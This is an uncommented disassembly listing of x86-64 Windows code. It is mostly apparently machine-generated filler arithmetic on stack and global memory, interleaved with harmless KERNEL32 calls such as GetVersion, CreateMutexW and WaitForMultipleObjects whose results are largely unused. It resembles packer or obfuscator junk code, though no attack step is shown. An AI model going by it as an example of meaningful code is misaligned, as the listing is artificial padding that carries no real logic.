mov ecx, dword [rsp + 0x1ca8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b30], eax
mov rax, qword [rsp + 0x6100]
mov rcx, qword [rsp + 0x5ad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4520]
mov dword [rcx], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x79f0], rax
lea rax, [rsp + 0xe48]
mov qword [0x14018c720], rax
movzx eax, word [rsp + 0xef8]
movzx ecx, word [rsp + 0xc9c]
shl eax, cl
mov rcx, qword [rsp + 0x57a8]
mov word [rcx], ax
lea rax, [rsp + 0xdb8]
mov qword [rsp + 0x79f8], rax
mov rax, qword [rsp + 0x6838]
mov rax, qword [rax]
mov rcx, qword [0x14018c350]
mov qword [rsp + 0x7a00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7a00]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x71e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6328]
mov rcx, qword [rsp + 0x3358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x30c8], rax
mov eax, dword [rsp + 0x21bc]
mov dword [rsp + 0x223c], eax
movsx eax, byte [0x14018bdcb]
mov rcx, qword [rsp + 0x4918]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c18]
mov byte [rcx], al
lea rax, [rsp + 0xb48]
mov qword [rsp + 0x7a08], rax
movzx eax, word [rsp + 0x67c]
mov rcx, qword [0x14018c318]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5cf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3200]
mov rcx, qword [rsp + 0x3de8]
and rcx, rax
mov rax, rcx
mov qword [0x14018ae10], rax
movzx eax, word [rsp + 0xd90]
mov rcx, qword [rsp + 0x5898]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6320]
mov word [rcx], ax
lea rax, [rsp + 0x7290]
mov qword [rsp + 0x7a10], rax
mov rax, qword [rsp + 0x4740]
mov rcx, qword [rsp + 0x6448]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
lea rax, [rsp + 0x2088]
mov qword [rsp + 0x7a18], rax
movsx eax, byte [rsp + 0xaf]
mov rcx, qword [0x14018bee0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a4], al
movzx eax, byte [rsp + 0x166]
mov rcx, qword [rsp + 0x3ed0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b3], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x7a20], rax
mov rax, qword [rsp + 0x5bd0]
mov rcx, qword [0x14018ada0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5040]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x588]
xor eax, ecx
mov word [0x14018c5d0], ax
movsx eax, word [rsp + 0xce8]
mov rcx, qword [0x14018c1d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5c4], ax
movzx eax, word [rsp + 0xd64]
movzx ecx, word [rsp + 0x478]
or eax, ecx
mov rcx, qword [rsp + 0x62d8]
mov word [rcx], ax
lea rax, [rsp + 0x48c]
mov qword [rsp + 0x7a28], rax
mov rax, qword [rsp + 0x67b8]
movsx eax, byte [rax]
mov rcx, qword [0x14018be98]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1ea], al
mov rax, qword [rsp + 0x5178]
mov rcx, qword [rsp + 0x52d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3188], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2054], eax
mov eax, dword [rsp + 0x20a0]
mov dword [rsp + 0x2240], eax
mov rax, qword [rsp + 0x6cf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5660]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x7a30], rax
lea rax, [rsp + 0x2ad0]
mov qword [0x14018c728], rax
mov rax, qword [rsp + 0x49f0]
mov rcx, qword [rsp + 0x49d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x69c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x65c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7570]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6f68]
sar rax, cl
mov qword [rsp + 0x3300], rax
movzx eax, word [rsp + 0xdc8]
mov rcx, qword [rsp + 0x55d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x43b0]
mov word [rcx], ax
lea rax, [rsp + 0x1c2c]
mov qword [rsp + 0x7a38], rax
mov rax, qword [rsp + 0x6810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5948]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6c48]
mov byte [rcx], al
mov eax, dword [rsp + 0x2170]
movzx ecx, al
mov eax, dword [0x14018bdc0]
shl eax, cl
mov dword [rsp + 0x2200], eax
lea rax, [rsp + 0x3760]
mov qword [rsp + 0x7a40], rax
mov rax, qword [rsp + 0x5010]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bc]
or eax, ecx
mov byte [0x14018bdcb], al
movsx eax, word [0x14018adfc]
mov rcx, qword [rsp + 0x5188]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5340]
mov word [rcx], ax
mov r9d, 0xdc3
xor r8d, r8d
lea rdx, [rsp + 0x60d8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2090], eax
movzx eax, word [rsp + 0xd40]
mov word [rsp + 0xf3c], ax
mov rax, qword [rsp + 0x7420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xdd0], ax
mov rax, qword [rsp + 0x3520]
mov rcx, qword [rsp + 0x4878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3200], rax
lea rax, [rsp + 0x37b0]
mov qword [rsp + 0x7a48], rax
mov rax, qword [rsp + 0x4708]
mov ecx, dword [rsp + 0x1ec4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6a90]
mov dword [rcx], eax
lea rax, [rsp + 0x129]
mov qword [rsp + 0x7a50], rax
movsx eax, word [rsp + 0xee0]
movsx ecx, word [rsp + 0x688]
sub eax, ecx
mov rcx, qword [rsp + 0x6b28]
mov word [rcx], ax
movzx eax, word [rsp + 0xe9c]
mov rcx, qword [rsp + 0x4070]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bf00]
mov word [rcx], ax
lea rax, [rsp + 0x39a8]
mov qword [rsp + 0x7a58], rax
mov rax, qword [rsp + 0x55b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe34]
and eax, ecx
mov word [rsp + 0xae4], ax
movzx eax, byte [rsp + 0x1bf]
movzx ecx, byte [rsp + 0x1ae]
sar eax, cl
mov rcx, qword [rsp + 0x6ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x6e80]
mov eax, dword [rax]
mov dword [rsp + 0x2244], eax
mov rax, qword [rsp + 0x7810]
mov rcx, qword [rsp + 0x3220]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5000], rax
movsx eax, byte [rsp + 0x1af]
mov rcx, qword [rsp + 0x42b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf5], al
mov eax, dword [rsp + 0x212c]
mov ecx, dword [rsp + 0x1be0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4708]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf38]
mov rcx, qword [rsp + 0x5448]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xd04], ax
lea rax, [rsp + 0xbfc]
mov qword [0x14018c730], rax
mov rax, qword [rsp + 0x6528]
mov rax, qword [rax]
mov qword [rsp + 0x7a60], rax
mov rax, qword [rsp + 0x6bb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a80]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5110]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2248], eax
mov edx, 0x2fe
mov rcx, qword [rsp + 0x6b40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2180], eax
lea rax, [rsp + 0x7c8]
mov qword [rsp + 0x7a68], rax
mov rax, qword [rsp + 0x7578]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6c00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c90]
mov word [rcx], ax
lea rcx, [rsp + 0x157b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x78d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x50a0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xb4], al
lea rax, [rsp + 0x1d88]
mov qword [rsp + 0x7a70], rax
mov rax, qword [rsp + 0x50f8]
mov rcx, qword [rsp + 0x6db0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5820]
mov qword [rcx], rax
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x7a78], rax
mov rax, qword [rsp + 0x6800]
movsx eax, word [rax]
mov rcx, qword [0x14018c360]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14018c2e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3db8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x41c8]
mov word [rcx], ax
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x7a80], rax
movzx eax, byte [rsp + 0x11b]
cdq
mov ecx, 0x3f
idiv ecx
mov rcx, qword [rsp + 0x4810]
mov byte [rcx], al
mov rax, qword [rsp + 0x7280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f50]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xeb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6958]
mov ecx, dword [rsp + 0x2010]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1e9c], eax
mov rax, qword [rsp + 0x5220]
mov rcx, qword [rsp + 0x7300]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5940]
mov qword [rcx], rax
lea rax, [rsp + 0x129]
mov qword [rsp + 0x7a88], rax
movsx eax, word [rsp + 0xe6c]
mov rcx, qword [0x14018c538]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4158]
mov word [rcx], ax
lea rax, [rsp + 0x3a4]
mov qword [0x14018c738], rax
mov rax, qword [rsp + 0x6330]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4350]
shl rax, cl
mov rcx, qword [rsp + 0x7390]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6250]
movzx eax, word [rax]
mov word [rsp + 0xf44], ax
movsx eax, word [0x14018ae08]
mov rcx, qword [rsp + 0x6280]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6a48]
mov word [rcx], ax
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x7a90], rax
movsx eax, byte [rsp + 0x1e5]
movsx ecx, byte [rsp + 0x10e]
or eax, ecx
mov rcx, qword [rsp + 0x4900]
mov byte [rcx], al
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x7498]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7440]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6778]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [0x14018c3f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbc0]
sar eax, cl
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x7450]
mov rcx, qword [rsp + 0x45d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c580]
mov qword [rcx], rax
mov rax, qword [rsp + 0x47a0]
mov eax, dword [rax]
mov dword [rsp + 0x224c], eax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x46d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ba], al
movsx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0x40f8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3f18]
mov word [rcx], ax
lea rax, [rsp + 0xa80]
mov qword [rsp + 0x7a98], rax
movsx eax, byte [rsp + 0x207]
mov rcx, qword [rsp + 0x6e78]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6bb8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bac]
mov dword [rsp + 0x2250], eax
mov rax, qword [rsp + 0x66e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6168]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5560]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x21fc], eax
lea rax, [rsp + 0xd84]
mov qword [rsp + 0x7aa0], rax
lea rcx, [rsp + 0x15878]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x97c]
mov word [0x14018c740], ax
mov rax, qword [rsp + 0x6330]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2dc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x54a0], rax
mov rax, qword [rsp + 0x7890]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4860]
mov qword [rsp + 0x7aa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7aa8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3098], rax
mov rax, qword [rsp + 0x5da0]
mov rcx, qword [rsp + 0x5728]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c20], rax
movsx eax, word [rsp + 0x548]
mov rcx, qword [0x14018c618]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5118]
mov word [rcx], ax
lea rax, [rsp + 0x77e8]
mov qword [rsp + 0x7ab0], rax
movsx eax, byte [rsp + 0x1cb]
mov rcx, qword [rsp + 0x63f8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4118]
mov byte [rcx], al
mov rax, qword [rsp + 0x5478]
mov ecx, dword [rsp + 0x2038]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e40]
mov dword [rcx], eax
lea rax, [rsp + 0x2154]
mov qword [rsp + 0x7ab8], rax
movzx eax, byte [rsp + 0x185]
mov rcx, qword [rsp + 0x7840]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6810]
mov byte [rcx], al
movsx eax, word [rsp + 0x974]
mov rcx, qword [rsp + 0x4b20]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14018ae18], ax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x7ac0], rax
movzx eax, word [rsp + 0xd34]
movzx ecx, word [rsp + 0xd7c]
and eax, ecx
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x5e38]
mov qword [rsp + 0x7ac8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ac8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3280], rax
movzx eax, byte [rsp + 0x1dd]
mov byte [rsp + 0x20b], al
mov rax, qword [rsp + 0x6e60]
mov rcx, qword [rsp + 0x6fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6de0]
mov qword [rcx], rax
lea rax, [0x14018bdc0]
mov qword [rsp + 0x7ad0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x7ad8], rax
mov rax, qword [rsp + 0x78d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe98]
sub eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
lea rax, [rsp + 0xb44]
mov qword [rsp + 0x7ae0], rax
mov rax, qword [rsp + 0x5328]
mov rcx, qword [rsp + 0x2df8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14018c3b0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x404]
movzx ecx, word [rsp + 0x3a4]
and eax, ecx
mov rcx, qword [rsp + 0x6e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x6528]
mov rcx, qword [rsp + 0x6118]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3e40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2ca0]
mov rcx, qword [rsp + 0x7508]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3118], rax
mov rax, qword [rsp + 0x6c28]
mov rcx, qword [rsp + 0x6798]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x45a0]
movzx eax, byte [rax]
mov byte [rsp + 0x20c], al
mov eax, dword [rsp + 0x216c]
movzx ecx, al
mov eax, dword [rsp + 0x1e80]
shl eax, cl
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0x4678]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6588]
mov byte [rcx], al
lea rax, [rsp + 0x218c]
mov qword [rsp + 0x7ae8], rax
lea rax, [rsp + 0xe90]
mov qword [0x14018c748], rax
mov rax, qword [rsp + 0x4d48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x52f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xed4], ax
lea rax, [rsp + 0xef8]
mov qword [rsp + 0x7af0], rax
movzx eax, word [rsp + 0xf10]
movzx ecx, word [rsp + 0x83c]
add eax, ecx
mov rcx, qword [rsp + 0x5290]
mov word [rcx], ax
mov rax, qword [rsp + 0x72e0]
mov rcx, qword [rsp + 0x4568]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5120]
mov qword [rcx], rax
mov rax, qword [rsp + 0x59d0]
mov eax, dword [rax]
mov dword [rsp + 0x2254], eax
movsx eax, byte [0x14018acd9]
mov rcx, qword [rsp + 0x5bc0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4f48]
mov byte [rcx], al
movsx eax, word [rsp + 0x81c]
mov rcx, qword [rsp + 0x4ca0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x62c], ax
mov rax, qword [rsp + 0x6e90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x71e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7430]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c5b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f40]
mov rcx, qword [rsp + 0x2b68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b28]
mov qword [rsp + 0x7af8], rax
mov rax, qword [rsp + 0x6908]
mov rcx, qword [rsp + 0x37e8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3880], rax
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xf20]
shl eax, cl
mov word [rsp + 0x4e4], ax
mov rax, qword [rsp + 0x6ff0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1df]
xor eax, ecx
mov rcx, qword [rsp + 0x4678]
mov byte [rcx], al
lea rax, [rsp + 0x2234]
mov qword [rsp + 0x7b00], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x6b58]
mov qword [rsp + 0x7b08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b08]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7988]
mov ecx, dword [rsp + 0x1f90]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7a70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
add eax, ecx
mov byte [0x14018bdc6], al
lea rax, [rsp + 0x7c8]
mov qword [rsp + 0x7b10], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0x584]
and eax, ecx
mov word [rsp + 0xd88], ax
lea rax, [rsp + 0x8fc]
mov qword [rsp + 0x7b18], rax
mov rax, qword [0x14018c3e0]
mov rcx, qword [rsp + 0x2dc8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4cf0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x7888]
mov qword [rsp + 0x7b20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b20]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4c18]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b14]
mov dword [rsp + 0x2258], eax
movsx eax, byte [rsp + 0x1bd]
mov rcx, qword [rsp + 0x5858]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x61a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4658]
movzx eax, word [rax]
mov word [rsp + 0xf48], ax
movzx eax, word [rsp + 0x860]
mov word [0x14018c750], ax
mov rax, qword [rsp + 0x5540]
mov rcx, qword [rsp + 0x3880]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5310]
mov qword [rcx], rax
movzx eax, word [rsp + 0xcd0]
movzx ecx, word [rsp + 0x39c]
and eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b6]
xor eax, ecx
mov byte [rsp + 0x70], al
mov eax, dword [rsp + 0x1e80]
mov ecx, dword [rsp + 0x21b8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x72a8]
mov rax, qword [rax]
mov qword [rsp + 0x7b28], rax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0xd2]
shl eax, cl
mov rcx, qword [rsp + 0x6e00]
mov byte [rcx], al
mov eax, dword [rsp + 0x1b0c]
movzx ecx, al
mov eax, dword [rsp + 0x217c]
shr eax, cl
mov dword [rsp + 0x20a0], eax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x7b30], rax
movzx eax, word [rsp + 0x91c]
mov rcx, qword [0x14018c2c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c078]
mov word [rcx], ax
mov rax, qword [rsp + 0x2e48]
mov rcx, qword [rsp + 0x36e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d20], rax
lea rax, [rsp + 0x2ee0]
mov qword [rsp + 0x7b38], rax
movsx eax, word [rsp + 0xcac]
movsx ecx, word [rsp + 0x584]
add eax, ecx
mov rcx, qword [rsp + 0x5a28]
mov word [rcx], ax
mov rax, qword [rsp + 0x7960]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcd0]
sub eax, ecx
mov word [rsp + 0x720], ax
mov rax, qword [rsp + 0x5808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ec8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4758]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5e10]
mov byte [rcx], al
mov rax, qword [rsp + 0x5db0]
mov eax, dword [rax]
mov dword [rsp + 0x225c], eax
mov rax, qword [rsp + 0x5ba8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5958]
mov qword [rsp + 0x7b40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b40]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5700]
mov qword [rcx], rax
lea rax, [rsp + 0xda0]
mov qword [0x14018c758], rax
lea rax, [rsp + 0xd08]
mov qword [rsp + 0x7b48], rax
movzx eax, byte [rsp + 0x185]
movzx ecx, byte [rsp + 0x1ae]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x4e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x215c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4548]
mov dword [rcx], eax
lea rax, [rsp + 0x6950]
mov qword [rsp + 0x7b50], rax
movsx eax, byte [rsp + 0x1d6]
movsx ecx, byte [rsp + 0x1ab]
shl eax, cl
mov rcx, qword [rsp + 0x6ca0]
mov byte [rcx], al
mov rax, qword [rsp + 0x57b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77e8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x32f0], rax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [rsp + 0x1e00]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x220c], eax
movsx eax, word [rsp + 0xe6c]
movsx ecx, word [rsp + 0xe20]
sub eax, ecx
mov rcx, qword [rsp + 0x5390]
mov word [rcx], ax
movzx eax, word [rsp + 0xc78]
mov word [0x14018c760], ax
lea rax, [rsp + 0x2d28]
mov qword [rsp + 0x7b58], rax
movzx eax, word [rsp + 0xa9c]
movzx ecx, word [rsp + 0xd08]
sar eax, cl
mov rcx, qword [rsp + 0x3ee0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x6938]
movzx eax, word [rax]
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x7508]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2ba0], rax
lea rax, [rsp + 0x1fc]
mov qword [rsp + 0x7b60], rax
mov rax, qword [rsp + 0x5b48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7440]
mov rcx, qword [rsp + 0x43f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x225c], eax
lea rax, [rsp + 0xe3c]
mov qword [rsp + 0x7b68], rax
mov rax, qword [rsp + 0x5288]
mov rcx, qword [rsp + 0x51a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [0x14018c680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7268]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7208]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1df], al
lea rax, [rsp + 0x2094]
mov qword [rsp + 0x7b70], rax
mov rax, qword [0x14018bf28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6370]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6e50]
mov word [rcx], ax
mov rax, qword [rsp + 0x68b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x764]
and eax, ecx
mov rcx, qword [rsp + 0x4280]
mov word [rcx], ax
lea rax, [rsp + 0x20a8]
mov qword [rsp + 0x7b78], rax
mov r9d, 0x1a98
xor r8d, r8d
lea rdx, [rsp + 0x6980]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x21ec], eax
mov rax, qword [rsp + 0x5998]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b50]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
lea rax, [rsp + 0x3418]
mov qword [rsp + 0x7b80], rax
mov rax, qword [rsp + 0x7970]
movsx eax, word [rax]
movsx ecx, word [0x14018be58]
or eax, ecx
mov rcx, qword [rsp + 0x44c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6c4]
xor eax, ecx
mov word [0x14018ae1c], ax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x3200]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x52c0], rax
